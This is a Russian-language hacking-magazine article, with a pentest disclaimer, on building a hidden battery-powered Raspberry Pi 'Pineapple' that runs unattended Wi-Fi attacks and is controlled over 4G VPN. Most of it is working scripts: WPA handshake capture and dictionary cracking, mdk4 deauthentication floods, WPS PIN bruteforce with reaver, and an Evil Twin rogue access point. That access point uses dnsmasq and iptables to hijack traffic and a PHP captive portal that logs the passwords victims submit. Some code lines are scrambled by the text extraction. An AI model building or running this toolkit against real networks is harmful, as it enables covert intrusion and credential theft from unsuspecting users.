Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В  рас смат ривались ата ки, тре бующие пря мого дос тупа
к устрой ству. Теперь речь пой дет о дру гих типах физичес ких атак — по ради- 
ока налу, то есть не тре бующих непос редс твен ного кон такта с целями. А зна- 
чит, эти ата ки еще опас нее и зло умыш ленник ста новит ся еще незамет нее.
Ведь если физичес кие ата ки боль ше харак терны для внут ренне го наруши- 
теля, про шед шего опре делен ные рубежи кон тро ля, то физичес кие ата ки
с при мене нием ради оволн исполь зуют внеш ние наруши тели, которые, воз- 
можно, находят ся где-то на рас сто янии и дей ству ют через сте ны.

пре дыду щих стать ях

Тем не менее это не пол ноцен ные уда лен ные ата ки, про води мые через
интернет. Такие ата ки так же тре буют от зло умыш ленни ка быть рядом
с целями, толь ко «рядом» здесь озна чает нес коль ко десят ков или сотен мет- 
ров. Сегод ня бес про вод ные сети широко рас простра нены, и со вре менем
отказ от про водов в поль зу ради оин терфей сов будет толь ко набирать обо- 
роты. Глав ная при чина — удобс тво. А в мире ИБ, как пра вило, что удоб но, то
небезо пас но. Все бес про вод ное мож но как минимум заг лушить, если взло- 
мать не получа ется.

Тех нология Wi-Fi пред став ляет для потен циаль ного зло умыш ленни ка пер- 
спек тивную повер хность для атак. Эта тех нология рас простра нена пов семес- 
тно, мак сималь но дос тупна и в то же вре мя дос таточ но раз нооб разна в пла не
извес тных атак, прос тоте их исполне ния и сте пени воз дей ствия.

Глав ная осо бен ность атак как на Wi-Fi, так и на ради освязь в целом —
огра ничен ный ради ус дей ствия. Для Wi-Fi такое огра ниче ние сос тавля ет 50–
100 м. И далеко не всег да при нима емый сиг нал поз воля ет зло умыш ленни ку
занять удоб ное мес то, что бы рас положить ся с ноут буком. А некото рые ата ки
и вов се тре буют, что бы сиг нал ата кующе го устрой ства был луч ше, чем
у легитим ного источни ка. Одна ко зло умыш ленник может соб рать осо бое
устрой ство, которое поз волит ему выпол нять ата ки вез де, где необ ходимо,
выг лядя при этом не так подоз ритель но, как на сле дующей кар тинке.

Час то ата ки на бес про вод ные сети зависят от обсто ятель ств (нап ример,
наличия кли ентов), поэто му их успешность опре деля ет еще и дли тель ность.
Одна ко есть воз можность сде лать авто ном ное мини атюр ное устрой ство
и заранее зап рограм мировать его на совер шение тех или иных атак или уда- 
лен но управлять им так, что зло умыш ленник не будет обна ружен рядом с объ- 
ектом и даже не попадет под объ екти вы виде ока мер. Такой девайс мож но
незамет но под ложить вбли зи целей. Мы рас смот рим при мер такого устрой- 
ства. По сути, это ана лог извес тно го готово го решения Pineapple — аппа рат- 
ной плат формы, которая реали зует ата ки на бес про вод ные сети.

Во обще, попыт ка про ник новения «по воз духу» — это не прос то ата ка «в
лоб», которую лег ко мож но заметить по харак терно му име ни. Зачас тую ком- 
пании дела ют мно жес тво допол нитель ных бес про вод ных сетей для раз ных
целей: гос тевую, кор поратив ную, тех нологи чес кую, сеть для VIP-кли ентов
и про чие. Не сто ит забывать про тес товые и раз нооб разные несан кци они- 
рован ные бес про вод ные сети. Если ком пания име ет стро гую полити ку
безопас ности и зап реща ет выход в интернет, то количес тво несан кци они- 
рован ных «самопаль ных» бес про вод ных сетей, раз дава емых самими сот- 
рудни ками, как пра вило, велико. Так что, если бес про вод ная инфраструк тура
похожа на опи сан ную, для зло умыш ленни ка ата ки на сети Wi-Fi такой ком- 
пании име ют боль шие шан сы на успех, хоть и свя заны с обширным переч нем
про верок.

ÐÅÀËÈÇÀÖÈß

Зло умыш ленни ку вов се не обя затель но при обре тать готовые дорогос тоящие
решения, он может соб рать нуж ное устрой ство самос тоятель но. На самом
деле нет ничего слож ного в том, что бы в эру изо билия одноплат ных компь- 
юте ров изго товить неболь шое устрой ство, которое мож но мак сималь но гиб- 
ко нас тра ивать.

Ос новные тре бова ния к подоб ному устрой ству — мини атюр ность,
дешевиз на, дос тупность ком понен тов и прос тота сбор ки. Наибо лее удач ным
решени ем может быть Raspberry Pi Zero W — один из нем ногих широко
извес тных одноплат ных мик рокомпь юте ров, встро енный Wi-Fi-чип которо го
под держи вает режимы работы, необ ходимые для подав ляюще го количес тва
атак. И в ито ге мож но перей ти от того, что пред став лено на сле дующем
рисун ке, к чему-то менее замет ному.

Ап парат ное решение для атак на бес про вод ные сети (при мет ное)

Ап парат ное решение для атак на бес про вод ные сети (неп римет ное)

А нас коль ко собс твен ное решение может быть мень ше готово го, вид но
на сле дующем рисун ке.

По чувс твуй те раз ницу

Зло умыш ленник, конеч но же, может пой ти по пути наимень шего соп ротив- 
ления и взять готовое решение. Но, учи тывая то, что спе цифи ка ата ки пред- 
полага ет оставлять устрой ство в некон тро лиру емой зоне, оно ста новит ся
в некото рой сте пени рас ходным матери алом, при чем весь ма недеше вым.
К тому же мини атюр ное устрой ство про ще спря тать или даже помес тить
на дрон (об этом я рас ска жу в сле дующей статье). На мой взгляд, выбор
под опи сыва емые области при мене ния тут оче виден: если устрой ство про- 
падет, зло умыш ленник прос то купит еще один Raspberry и прошь ет заготов- 
ленный образ на кар ту памяти, а не ста нет при обре тать дорогое готовое
решение и ждать, кого его дос тавят.

Raspberry, как и боль шинс тво дру гих одноплат ных компь юте ров, может
работать на понижен ном нап ряжении, что поз воля ет исполь зовать с ним
популяр ные ком пак тные акку муля торы с нап ряжени ем 3,7 В. Такие акку муля- 
торы дешев ле и мень ше, чем powerbank, и их мож но лег ко купить в спе циали- 
зиро ван ных магази нах. Заряжа ются же они нап ряжени ем 5 В, которые мож но
взять от любого USB.

Прав да, нес мотря на то, что Raspberry Pi уме ет работать от 3,3 В, внеш ние
USB-устрой ства не получа ют при этом обе щан ные им USB-стан дартом 5 В.
Поэто му, если пла ниру ется исполь зовать такие внеш ние USB-устрой ства,
при дет ся все-таки под нять нап ряжение до 5 В через популяр ную пла ту DC-
DC MT3608. В резуль тате мож но получить минималь ную кон фигура цию
такого аппа рат ного решения, пред став ленную на сле дующем рисун ке.

Pineapple в соб ранном виде

Ак кумуля тор 3,7 В, рас положен ный сни зу, через повыша ющую пла ту DC-DC
MT3608 пода ет 5 В на вто рой и девятый пины GPIO. Так же к пре обра зова- 
телю нап ряжения под паян внеш ний Micro-USB для удоб ной заряд ки акку- 
муля тора и тум блер подачи питания от акку муля тора. Тем не менее у Raspber-
ry есть два собс твен ных USB-пор та, зна чит, всег да есть воз можность исполь- 
зовать обыч ный powerbank. Схе ма под клю чения к пла те све тоди одов, перек- 
лючате лей, а так же под водки питания пред став лена на сле дующем рисун ке.

Схе ма раз мещения на пла те све тоди одов, перемы чек и питания

Ис поль зование дис плея может быть рас точитель но с точ ки зре ния эко номии
акку муля тора, поэто му для инди кации про цес са луч ше исполь зовать три све- 
тоди ода. Прин цип управле ния поведе нием све тоди одов опи сан в 

.
статье

про BadUSB-ETH
Для авто мати чес кого стар та тех или иных сце нари ев задей ство вано шесть

положе ний перемы чек (их прог рам мная обра бот ка опи сана ниже) и две точ ки
подачи нап ряжения — 5 и 3,3 В. Так же вось мой и десятый пины — это точ ки,
на которых с помощью UART-переход ника всег да мож но открыть шелл
на Pineapple-устрой стве.

Те перь к самому глав ному — Wi-Fi-адап теру. Режим монито ра встро енной
Wi-Fi-кар ты недос тупен «из короб ки», но воз можен на спе циаль ной про шив- 
ке, и для его акти вации тре бует ся соб рать новое ядро:

wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/
download/re4son-kernel-current/ 

 tar -xJf re4son-kernel_current.tar.xz 
cd re4son-kernel_4*
sudo ./install.sh 

Пос ле дол гой уста нов ки появит ся допол нитель ный файл про шив ки для Wi-Fi-
чипа. Через этот файл реали зует ся режим монито ра:

md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*
bae7f1ba1b64cb19bb0c5433a3940405  /lib/firmware/brcm/brcmfmac43430-
sdio.bin.monitor 
54f6af2776997cb1ee06edf2b93ab815  /lib/firmware/brcm/brcmfmac43430-
sdio.bin.original 

Что бы перек лючить ся меж ду про шив ками, мож но перезаг рузить драй вер
и пере име новать файл про шив ки:

rmmod brcmfmac 
cp brcmfmac43430-sdio.bin.original brcmfmac43430-sdio.bin 
modprobe brcmfmac 

Ре жим монито ра акти виру ется в сти ле mac80211-сте ка:

iw phy0 interface add mon0 type monitor 
ifconfig mon0 up 
airodump-ng mon0 

Воз можность авто ном но выпол нять самые популяр ные Wi-Fi-ата ки теперь
обес печена. Тем не менее с Raspberry всег да мож но исполь зовать любой
внеш ний Wi-Fi-адап тер и допол нитель ные антенны. Прав да, неп римет ность
от это го может пос тра дать. Слож ные ата ки не так прос то авто мати зиро вать.
И потен циаль ному зло умыш ленни ку может быть на руку уда лен ное управле- 
ние таким девай сом.

Дос таточ но лег ко сде лать так, что бы подоб ный Pineapple был всег да дос- 
тупен зло умыш ленни ку при помощи любого 4G-модема. Сов ремен ный 4G-
модем реали зует ся как вир туаль ная сетевая кар та (уже зна комая нам
по ), что мак сималь но упро щает вза имо дей ствие
Pineapple с ним. Для это го дос таточ но акти виро вать сетевой интерфейс
модема:

статье о BadUSB-ETH

/etc/network/interfaces
allow-hotplug eth0 
auto eth0 
iface eth0 inet dhcp 

Для уда лен ного дос тупа к Pineapple тре бует ся нас тро ить авто запуск VPN
до сер вера, исполь зуемо го зло умыш ленни ком в качес тве опор ной точ ки:

cp your_vds.ovpn /etc/openvpn/client/vds.conf 
systemctl enable openvpn-client@vds 

Уп равлять непос редс твен но самим Pineapple про ще все го по SSH:

systemctl enable ssh.service 

Те перь зло умыш ленник может помес тить такое устрой ство в любое мес то,
где при нима ется сиг нал ата куемых точек дос тупа или есть мно го потен циаль- 
ных жертв для атак Evil Twin. При этом мож но управлять Pineapple с ноут бука,
сидя где-нибудь в ком фор тном и безопас ном мес те.

Pineapple с уда лен ным дос тупом по 4G

Нап ример, исполь зуя VPN-канал по 4G, зло умыш ленник может прос то рас- 
шарить по сети бес про вод ной mon-интерфейс Pineapple и реали зовы вать
все Wi-Fi-ата ки со сво его ноут бука:

pineapple> airserv-ng -p 1337 -d mon0 
attacker> airodump-ng -c 1,6,11 pineapple:1337 

Продолжение статьи →
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Ес ли 4G-канал недос тупен, для нас трой ки атак в авто ном ном режиме всег да
мож но под клю чить ся к пла те и получить кон соль через UART, как про демонс- 
три рова но на сле дующем рисун ке.

Пря мое под клю чение к Pineapple

on sudo minicom -D /dev/ttyUSB0 -b 115200 --color=

Да лее уже в при выч ном шел ле, работая с ОС девай са, мож но выпол нить тон- 
кую нас трой ку сце нария ата ки.

За час тую в таком виде устрой ство завер шает работу ОС некор рек тно,
нап ример если раз рядил ся акку муля тор. Поэто му, что бы на устрой стве
не про пали важ ные дан ные, рекомен дует ся отклю чить дис ковый кеш:

/etc/fstab
PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1 

Под клю чать ся к пла те по UART или 4G весь ма удоб но, но в некото рых слу чаях
зло умыш ленни ку может пот ребовать ся сра зу начать выпол нять ата ки. Быс тро
запус тить пре дус танов ленные сце нарии, ори енти рован ные на широкий круг
целей, поз волит джам пер (перемыч ка) на GPIO. Отсле живать положе ние
джам пера на прог рам мной сто роне мож но так:

/usr/local/bin/jmp
#!/bin/bash

  |   |     2exit $(raspi-gpio get $1 awk '{print $3}' cut -d '=' -f )

Те перь, меняя положе ние джам пера непос редс твен но перед вклю чени ем
Pineapple, зло умыш ленник ука зыва ет запуск, нап ример, век тора Evil Twin или в
дру гом положе нии — мас совую деаутен тифика цию и сбор handshake
(рукопо жатия при аутен тифика ции). Что и в каком слу чае исполь зовать, зада- 
ется в скрип те авто запус ка:

/home/pi/startup.sh
#!/bin/bash

function monitor_enable(){
 iw phy0 interface add mon0 type monitor 
 ifconfig mon0 up 
 ifconfig wlan0 up 

}

raspi-gpio set 7 ip pu 
raspi-gpio set 10 ip pu 
raspi-gpio set 11 ip pu 
raspi-gpio set 23 ip pu 
raspi-gpio set 25 ip pu 
raspi-gpio set 27 ip pu 
cd /home/pi/ 

 +time=$(date '%H:%M:%S_%d.%m.%Y')

led green on 2> /dev/null 
led yellow on 2> /dev/null 
led red on 2> /dev/null 

1 sleep 
led green off 2> /dev/null 
led yellow off 2> /dev/null 
led red off 2> /dev/null 

jmp 7  if ; then
  echo "[*] wpa auth/deauth/online_brute attack (static/dynamic)"

 monitor_enable 
 cd wpapsk 

   screen -dmS wpapsk -t monitor -L -Logfile "$time-wpapsk-%n.log" ./
monitor.sh -c 1,6,11 
 #screen -r wpapsk -t deauth -X screen ./deauth.sh -b target.txt
 screen -r wpapsk -t brute-wpapsk -X screen ./brute-wpapsk.sh 
 screen -r wpapsk -t auth -X screen ./auth.sh 
 screen -r wpapsk -t brute-pmkid -X screen ./brute-pmkid.sh 
 screen -r wpapsk -t online_brute -X screen ./wpa_brute.sh "Target 

Wi-Fi" passwords.txt 4 
 #screen -r wpapsk -t online_brute -X screen './wpa_brute-width.sh 
12345678 123456789 1234567890 password'
  - cd

 elif jmp 11; then
  echo "[*] wps attack (static/dynamic)"

 cd wpapsk 
 wps    screen -dmS wpapsk -t -L -Logfile "$time-wps-%n.log" ./wps.sh 

"Target Wi-Fi"
  - cd

 elif jmp 10; then
  echo "[*] roqueap/eviltwin attack (static)"

 #monitor_enable
 cd eviltwin 
 ifconfig wlan0 10.0.0.1/24 

 nat  tcp  80 
 80 

 iptables -t -A PREROUTING -i wlan0 -p --dport -j 
REDIRECT --to-ports

  
 

 screen -dmS eviltwin -t hostapd -L -Logfile "$time-eviltwin-%n.log"
./hostapd.sh "Corp Wi-Fi" ""
 screen -r eviltwin -t dnsmasq -X screen ./dnsmasq.sh 
 screen -r eviltwin -t captive -X screen ./captive.sh www/ 
 #screen -r eviltwin -t deauth -X screen ./deauth.sh -c 1,6,11
  - cd

 elif jmp 23; then
  echo "[*] roqueap/honeypot (static)"

 cd honeypot 
 ifconfig wlan0 10.0.0.1/24 

  
 

 screen -dmS honeypot -t hostapd -L -Logfile "$time-honeypot-%n.log"
./hostapd.sh "Free Wi-Fi" ""
 screen -r honeypot -t dnsmasq -X screen ./dnsmasq.sh 
 screen -r honeypot -t attack -X screen ./attack.sh 
  - cd

 elif jmp 25; then
  echo "[*] roqueap/eap (static)"

 eap cd 
 eap    screen -dmS -t hostapd-eaphammer -L -Logfile "$time-eap-%n.log"

./hostapd-eaphammer.sh "Target Wi-Fi"
 #screen -r eap -t deauth -X screen ./deauth.sh -c 1,6,11
  - cd
 - cd

Ход и резуль таты атак сох раня ются в соот ветс тву ющие фай лы на кар те
памяти Pineapple, с наз вани ем, отра жающим тип, дату и вре мя ата ки. Этот
скрипт сле дует лишь добавить в авто заг рузку:

/etc/rc.local
/bin/bash /home/pi/startup.sh & 

В скрип те  тезис но опи саны все ата ки, которые рас смат рива ются
в этой статье.

startup.sh

ÀÒÀÊÈ ÍÀ WI-FI

При опи сании атак на Wi-Fi, да и ради оатак вооб ще, сто ит сра зу сде лать ого- 
вор ку, какие ата ки целесо образны в исполне нии Pineapple. Pineapple
не единс твен ный девайс, спо соб ный ата ковать по ради ока налу, и часть атак я
соз натель но не рас смат риваю в этой статье, так как некото рые из них разум- 
нее про водить, нап ример, с телефо на.

Раз нооб разных атак на Wi-Fi пре дос таточ но, и в этой статье опи саны лишь
те ата ки, которые тре буют дли тель ного учас тия ата кующе го. Форм-фак тор
ата кующе го устрой ства иде аль но под ходит для скры того дли тель ного раз- 
мещения вбли зи ата куемых объ ектов — точек дос тупа, их поль зовате лей
и самих кли ент ских устрой ств, IP-камер и про чих. А све тоди оды информи руют
о ста тусе ата ки без под клю чения к пла те. Так мож но понять, выпол нил ли
Pineapple свою работу, или зло умыш ленни ку сто ит вер нуть ся за ним поз же.

Те перь рас смот рим каж дую из основных атак на Wi-Fi, которые тезис но
опи саны выше:

WPA Handshake/bruteforce (ата ка на аутен тифика цию точ ки дос тупа);•
WPS (ата ка на аутен тифика цию точ ки дос тупа);•
Evil Twin (ата ка на дей ствия поль зовате лей);•
EAP Attack (ата ка на аутен тифика цию кли ент ских устрой ств);•
Honeypot (ата ка на ОС кли ент ских устрой ств).•

Çàõâàò õåíäøåéêà WPA
Зах ват WPA Handshake — одна из самых популяр ных и широко при меня емых
атак. WPA Handshake переда ется кли ентом во вто ром сооб щении (EAPOL M2)
четырех сту пен чатого рукопо жатия.

Со дер жимое это го пакета слу жит доказа тель ством для точ ки дос тупа, что
кли ент зна ет общий ключ PSK. Зло умыш ленник же, перех ватив такой хеш,
может подоб рать пароль перебо ром по сло варю. Для зах вата хеша ата- 
кующе му необя затель но совер шать активные дей ствия. Пос коль ку в его рас- 
поряже нии есть тех ничес кое средс тво, спо соб ное дол го и незамет но
находить ся в зоне дей ствия целевых бес про вод ных сетей, он может прос то
пас сивно ждать переда чи handshake, ведь такая ата ка абсо лют но «бес- 
шумна».

wpapsk/monitor.sh
#!/bin/bash

out-  +dumpfile= $(date '%H:%M:%S_%d.%m.%Y')
  screen -dmS airodump airodump-ng mon0 -w $dumpfile $*

10: while sleep 
do

  hcxpcapngtool "${dumpfile}-01.cap" -o /tmp/eapol.txt --all
  hcxhashtool -i /tmp/eapol.txt --authorized -o /tmp/eapol_valid.txt 

 hcxhash2cap --pmkid-eapol=/tmp/eapol_valid.txt -c /tmp/out-m1m2.
pcap 

  |   | 
    

if echo 0 | aircrack-ng "/tmp/out-m1m2.pcap" grep 'handshake'
grep -q -v '0 handshake'; then
   led yellow on 2> /dev/null 
 fi

  rm -f /tmp/eapol.txt 
  rm -f /tmp/eapol_valid.txt 
  rm -f /tmp/out-m1m2.pcap 
done
screen -XS airodump quit 

Мо нито ря бес про вод ные сети, этот скрипт на ука зан ных час тотных каналах
каж дые десять секунд про веря ет, не зах вачен ли handshake. Как толь ко
Pineapple зах ватит его, загорит ся жел тый све тоди од. Сто ит упо мянуть, что
есть веро ятность зах вата невалид ного пароля, который так же отправ ляет ся
в виде handshake-пакета. Но handshake с таким паролем не содер жит отве та
от точ ки дос тупа (EAPOL M3) и счи тает ся половин чатым (Half-handhake). Что- 
бы не получить лож ного сра баты вания, скрипт отбра сыва ет такие handshakes
и оставля ет толь ко те, которые содер жат под твержде ние, а зна чит, с пра виль- 
ным паролем.

Что бы уско рить сбор handshake, мож но под клю чить активную сос тавля- 
ющую — рас сылку пакетов деаутен тифика ции. Она отправ ляет от име ни кли- 
ента и точ ки дос тупа всем слы шимым кли ентам Wi-Fi-сетей спе циаль ные
пакеты, зак рыва ющие соеди нение (деаутен тифика ция). Кли ент, который
на самом деле не собирал ся отклю чать ся от точ ки дос тупа, выпол нит пов- 
торное под клю чение, передав хеш пароля к этой сети.

wpapsk/deauth.sh
#!/bin/bash

 | line mdk4 mon0 d $* while read 
 do echo $line

   led green on 2> /dev/null 
    sleep '0.1'
   led green off 2> /dev/null 
done

Про цеду ра деаутен тифика ции ведомая — она не перек люча ет на устрой стве
час тотные каналы самос тоятель но, а сле дует за ведущим про цес сом 

, выпол няющим эту работу. Все, что мож но допол нитель но сооб щить
скрип ту, — спи сок MAC-адре сов ата куемых бес про вод ных сетей. Так же
в момент отправ ки деаутен тифика ции Pineapple мига ет зеленым све тоди- 
одом.

moni-
tor.sh

Де аутен тифика ция име ет негатив ные побоч ные воз дей ствия на ата куемую
сеть — пос тоян но отклю чают ся кли енты, поэто му запуск скрип та заком менти- 
рован в скрип те  и при веден как опци ональ ный.startup.sh

Во вре мя охо ты за handshake, опять же опци ональ но, устрой ство может
про верить при нятые handshake самыми сла быми пароля ми по сло варю.
Переби рать боль ше 1000 вари антов не сто ит, ина че быс тро сядет акку муля- 
тор. И если пароль подоб ран, загора ется крас ный све тоди од.

wpapsk/brute-wpapsk.sh
#!/bin/bash

60: while sleep 
do

pcap  .cap  for in *
  do echo $pcap

    hcxpcapngtool "$pcap" -o /tmp/eapol.txt --all
    hcxhashtool -i /tmp/eapol.txt --authorized -o /tmp/eapol_valid.

txt 
   hcxhash2cap --pmkid-eapol=/tmp/eapol_valid.txt -c /tmp/out-m1m2.
pcap 

     |  
 |    |  

for bssid in $(echo 0 | aircrack-ng "/tmp/out-m1m2.pcap" grep
'handshake' grep -v '0 handshake' awk '{print $2}')
   do

          if [ -f "/tmp/$bssid" ]; then
       continue
     fi

      touch "/tmp/$bssid"
  

  
     aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid"
"/tmp/out-m1m2.pcap" -l "$bssid.txt"

          if [ -s "$bssid.txt" ]; then
       led red on 2> /dev/null 
       exit
     fi
   done

    rm -f /tmp/eapol.txt 
    rm -f /tmp/eapol_valid.txt 
    rm -f /tmp/out-m1m2.pcap 

 done
done

Для успе ха зло умыш ленни ку нуж но на некото рое вре мя незамет но помес тить
Pineapple в зону пок рытия инте ресу ющих его Wi-Fi-сетей. И далее тре бует ся
глав ным обра зом прос то наб рать хешей, а серь езный брут форс может быть
выпол нен поз днее на более мощ ном обо рудо вании.

Áðóòôîðñ WPS
Ата ка под бора PIN-кода WPS — еще один при мер ата ки на точ ку дос тупа Wi-
Fi, тре бующей дли тель ного вре мени. Бес про вод ных устрой ств с активным
и под вержен ным перебо ру WPS дос таточ но мно го — от тех же бес про вод ных
прин теров до кор поратив ных точек дос тупа. Если точ ка дос тупа не име ет
некий дефол тный PIN либо неуяз вима к Pixie Dust, поз воля юще му подоб рать
PIN-код за нес коль ко попыток (секунд), пол ный перебор все го прос транс тва
PIN-кодов в худ шем из сце нари ев для зло умыш ленни ка пот ребу- 
ет 11 000 попыток. Хорошо, если каж дая из попыток прой дет хотя бы
за секун ду. В резуль тате в иде аль ном слу чае, если точ ка дос тупа его не заб- 
локиру ет, на эту ата ку может пот ребовать ся нес коль ко часов. Находить ся
воз ле ата куемой точ ки так дол го с ноут буком или телефо ном неразум но, ведь
про цесс пол ностью авто мати зиро ван и учас тие челове ка не тре бует ся —
нужен толь ко Pineapple.

wpapsk/wps.sh
#!/bin/bash

function attacks(){
   AP="$1"
         2  5  20  sudo reaver -i mon0 -b "$AP" -F -w -N -d -l -t -vv -K
         2  5  20 sudo reaver -i mon0 -b "$AP" -F -w -N -d -l -t -vv
}

  |     
 

if echo "$1" grep -q -E '^\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2}$';
then # BSSID
   attacks "$1"

 else # ESSID
   AP  wash  |  for in $(sudo -i mon0 -s | fgrep "$1" awk '{print $1}')
    do echo "$AP"
       attacks "$AP"
   done
fi

Це ли для ата ки мож но задать как по MAC-адре су точ ки дос тупа, так и по име- 
ни бес про вод ной сети. Ско рее все го, зло умыш ленник будет рас полагать
лишь име нем сети. Впро чем, у сред них и круп ных ком паний на одно и то же
имя может при ходить ся мно жес тво точек дос тупа. Этот скрипт переби рает
PIN-коды на каж дой точ ке.

Evil Twin
Ата ка «злой двой ник» (Evil Twin) — это ими тация бес про вод ной сети,
к которой уже есть доверие. И доверие в этом слу чае у поль зовате лей. Evil
Twin — бес про вод ная соци аль ная ата ка, бес про вод ной фишинг, нап равлен- 
ный имен но на людей, а не на кли ент ские устрой ства.

Так как не на все Wi-Fi-сети мож но выпол нить ранее опи сан ные ата ки
и подоб рать пароль зло умыш ленни ку тоже уда ется далеко не всег да, мож но
спро сить этот пароль у самих поль зовате лей, которые час то ока зыва ются
самым сла бым зве ном перимет ра. В этом слу чае устрой ство Pineapple может
работать как точ ка дос тупа Wi-Fi с тем же име нем сети, что и ата куемая. С той
лишь раз ницей, что сеть откры тая. Ата ка полага ется на доверие поль зовате ля
к под став ной сети. Пред полага ется, что имен но поль зователь намерен но
под клю чит ся к буд то бы легаль ной бес про вод ной сети и вве дет пароль,
который отпра вит ся пря мо к зло умыш ленни ку в откры том виде.

Что бы повысить веро ятность того, что кто-то из поль зовате лей под клю чит- 
ся к под став ной сети, устрой ство Pineapple точ но так же, как и в прош лый раз,
может отправ лять пакеты деаутен тифика ции, отклю чая все кли енты от ата- 
куемой бес про вод ной сети.

Для успешнос ти ата ки Evil Twin зло умыш ленни ку тре бует ся гра мот но
решить две задачи: запус тить бес про вод ную сеть с име нем, которое точ но
прив лечет вни мание людей, и, конеч но же, устро ить тол ковый пре тек стинг
Captive-пор тала. В скрип те  про писа ны ком понен ты, фор миру- 
ющие эту ата ку. Пер вый ком понент — это точ ка дос тупа. Скрипт запус ка точ ки
дос тупа выг лядит сле дующим обра зом:

startup.sh

eviltwin/hostapd.sh
#!/bin/bash

essid="$1"
password="$2"

     if [ -z "$password" ]; then
   config='hostapd-opn.conf'
else
   config='hostapd-wpa.conf'
fi

 cp $config /tmp/$config
  sed -i "s/__ESSID__/$essid/g" /tmp/$config
  sed -i "s/__PASS__/$password/g" /tmp/$config

 | line hostapd /tmp/$config while read 
do

      if echo "$line" | fgrep -q 'AP-STA-CONNECTED'; then
       led green on 2> /dev/null 
      elif echo "$line" | fgrep -q 'AP-STA-DISCONNECTED'; then
       led green off 2> /dev/null 
   fi
done

Как толь ко к Pineapple под клю чит ся кли ент, загорит ся зеленый све тоди од.
Шаб лон кон фигура цион ного фай ла для откры той бес про вод ной сети выг- 

лядит так:

eviltwin/hostapd-opn.conf
interface=wlan0 
driver=nl80211 
ssid=__ESSID__ 

g hw_mode=
1 channel=

0 macaddr_acl=
1 auth_algs=

0 ignore_broadcast_ssid=

Вто рой ком понент — скрипт запус ка DHCP-сер вера:

eviltwin/dnsmasq.sh
#!/bin/bash

 | line dnsmasq --conf-file=dnsmasq.conf -d while read 
do

      if echo "$line" | fgrep -q 'DHCPACK'; then
       led yellow on 2> /dev/null 
   fi
done

Жел тый све тоди од сиг нализи рует, что кли ент получил IP-адрес и начал поль- 
зовать ся такой бес про вод ной сетью. Кон фигура ция пред лага емой сети
при этом сле дующая:

eviltwin/dnsmasq.conf
domain=pineapple.local 
interface=wlan0 
dhcp-range=10.0.0.10,10.0.0.20,24h 
dhcp-option=1,255.255.255.0 
dhcp-option=3,10.0.0.1 
dhcp-option=6,10.0.0.1 

30 local-ttl=
address=/#/10.0.0.1 

Сто ит заметить, что популяр ная прог рамма dnsmasq — это не толь ко DHCP-
сер вер, но и DNS-сер вер. При чем сер вер, работа ющий в весь ма хакер ском
сти ле: в пос ледней стро ке ему отда ется коман да резол вить любой DNS-зап- 
рос от жер твы IP-адре сом Pineapple. Так абсо лют но все зап росы обра щают ся
в ата кующее устрой ство.

Что бы мимо хакер ско го устрой ства не про шел ни один HTTP-зап рос,
с помощью iptables завора чива ется весь веб-тра фик от кли ентов на Pineapple
на уров не сети:

 nat  tcp  80 
 80 

iptables -t -A PREROUTING -i wlan0 -p --dport -j REDIRECT 
--to-ports

Нас тала оче редь треть его, самого глав ного зве на ата ки — неболь шого Cap-
tive-пор тала, реали зован ного через встро енный в интер пре татор PHP
веб-сер вер:

eviltwin/captive.sh
#!/bin/bash

php  | line -S 10.0.0.1:80 captive.php $* while read 
 do echo $line

      if echo "$line" | fgrep -q "password"; then
     led red on 
   fi
done

Ре али зовать веб-сер вер про ще, навер ное, уже нель зя. Если поль зователь
вве дет пароль, то Pineapple опо вес тит об этом крас ным све тоди одом. Обра- 
баты вает все зап росы скрипт :captive.php

eviltwin/captive.php
<?php

   $root = str_getcsv(file_get_contents('/proc/self/cmdline'), "\0")[4];
     $script = str_replace('..', '', urldecode($_SERVER['SCRIPT_NAME']));

// safety
header('HTTP/1.1 200 OK');

 header('Content-type: '); // disable Content-Type
     if ( is_file($root . $script) )
      echo file_get_contents($root . $script);
else
      echo file_get_contents($root . "/index.html");

  foreach($_POST as $par=>$val)
         error_log( "\x1b[31m" . "$par: $val" . "\x1b[0m" );
?>

Пра виль ная реали зация Сaptive-пор тала — очень важ ный и тон кий момент.
Как пра вило, сов ремен ные бра узе ры прак тичес ки ничего не отправ ляют
по откры тому HTTP-про токо лу, а во мно гих бра узе рах под дер жка это го про- 
токо ла и вов се отклю чена. Но Captive-пор тал — это общепри нятый механизм,
огра ничи вающий дос туп в интернет с откры тых бес про вод ных сетей, поэто му
все сов ремен ные ОС сра зу пос ле под клю чения про веря ют наличие Captive-
пор талов, отправ ляя спе циаль ный HTTP-зап рос. Если в этот момент не дать
понять ата куемой сто роне, что Captive-пор тал сущес тву ет, — ата ка сор вется.
Для это го нуж но воз вра щать кли енту HTTP-ответ с кодом 200 и непус тое
содер жимое стра ницы, даже если зап рос дела ется на несущес тву ющий
ресурс. В слу чае успе ха сис тема авто мати чес ки отоб ража ет поль зовате лю
фишин говую стра ницу, выпыты вающую те или иные дан ные.

 — лишь мини атюр ная обер тка меж ду зап росами кли- 
ентов-жертв и веб-стра ниц, которые они видят. Сей час веб-стра ницы дос- 
таточ но слож ны, и вер стать их с нуля не самое гени аль ное решение. Вмес то
это го мож но сох ранить любую веб-стра ницу аутен тифика ции бра узе ром
и ско пиро вать все фай лы в . Таким обра зом мож но обра баты- 
вать любые HTTP-зап росы еди ным PHP-скрип том и во вре мя ата ки мак- 
сималь но абс тра гиро вать ся от кодин га.

Captive.php

eviltwin/www/

Так как дан ные с веб-форм поч ти всег да отправ ляют ся по HTTP методом
POST, все подоб ные зап росы будут сох ранены. А если сре ди таких зап росов
есть параметр , то  отре аги рует на это крас ным све- 
тоди одом.

password captive.sh

Вве ден ные поль зовате лем дан ные под све чены крас ным цве том в тер- 
минале, что бы мож но было видеть ста тус и при уда лен ном под клю чении
по 4G.

Весь вывод от всех скрип тов так же сох раня ется на кар те памяти Pineapple.
Пос коль ку ата ка Evil Twin соци аль ная, то под каж дую кон крет ную ситу ацию
может пот ребовать ся верс тка сво его вари анта офор мле ния стра ницы Cap-
